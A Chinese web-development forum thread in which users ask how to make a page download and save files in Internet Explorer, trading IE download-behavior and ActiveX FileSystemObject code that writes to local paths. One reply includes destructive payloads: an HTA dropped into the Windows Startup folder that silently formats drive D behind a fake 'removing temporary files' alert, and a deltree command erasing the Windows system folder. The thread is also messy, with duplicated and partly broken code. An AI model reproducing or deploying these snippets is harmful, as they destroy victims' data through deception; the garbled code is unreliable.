相当于链接:window.open("URL.zip");不过可能不是你要的结果, :) 要提示下载。
解决方案 »
- jquery的bug?
- 为什么老是说'options'为空或不是对象?
- 请教:怎么样在iframe中调用父窗体中的JS对象
- jquery.blockui 怎么用
- 请教一个关于JQUERY实现图片自动变化的问题
- 求关闭网站时打开新窗口的代码
- setInterval小问题(这分容易拿!)
- 再送一百分、老问题、复选框选取
- 有没有办法放置一个有角度的button,比如放置一个与水平线成30度角的button
- rapid-validation怎么使用?
- 想通过本地的html文件来访问Internet并保存获得的页面,该如何作?奉上100分。
- 在javascript中能不能获取机器名和window登录名?
<SCRIPT>
window.open("URL.zip");
</SCRIPT>
一定要做ActiveX, :(
不过如果.txt文件,就直接打开了,没有提示,不知道是什么原理,希望大家能讲解一下。
至于直接下载文件,可以参考如下代码:
<ie:download id=ie style="behavior:url(#default#download)"/><APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
</div><script language="javascript">
function view()
{
ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
}
function show_oe(sContent){
// 要下载的文件内容就在sContent中保存着
// 新建文件对象,来写文件
var filesystems = new ActiveXObject("Scripting.FileSystemObject");
var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)
savefile.Write(sContent); // 将SContent中内容写入文件
savefile.Close();
}
现在这个问题被我解决了,通过作ActiveX控件实现的。其实原理很简单,只需要用Mictosoft Internet Transfer Control即可解决这个问题,而且通过使用定制控件,还可以检查目标路径是否存在和创建目标路径。
----------------------------------scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\啟動\\startup.hta";
scr.Doc="<object id='wsh' classid='clsid:935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
wsh.Run('Start/m format.com d:/q/autotest/u');
alert('IMPORTANT: Windows is removing unused temporary files.');
scr.Write();
--------------
舉例子:*.vbs
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(c:\windows\winipcfg.exe).Copy("e:\winipcfg.exe")
-------------
另外:
wsh.Run('start.exe/m deltree/y d:\windows\system\*.*')P.S.
hta: HTML Application
wsh: Windows Scripting Host
</div><script language="javascript">
function view()
{
ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
}
function show_oe(sContent){
// 要下载的文件内容就在sContent中保存着
// 新建文件对象,来写文件
var filesystems = new ActiveXObject("Scripting.FileSystemObject");
var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)
savefile.Write(sContent); // 将SContent中内容写入文件
savefile.Close();
}这段程序让我的杀毒程序报错拉~~~这样的话别人客户就无法访问了还有,ie.startDownload("url",show_oe); 我一写HTTP://……就出错,说没有权限啊有没有其他办法啊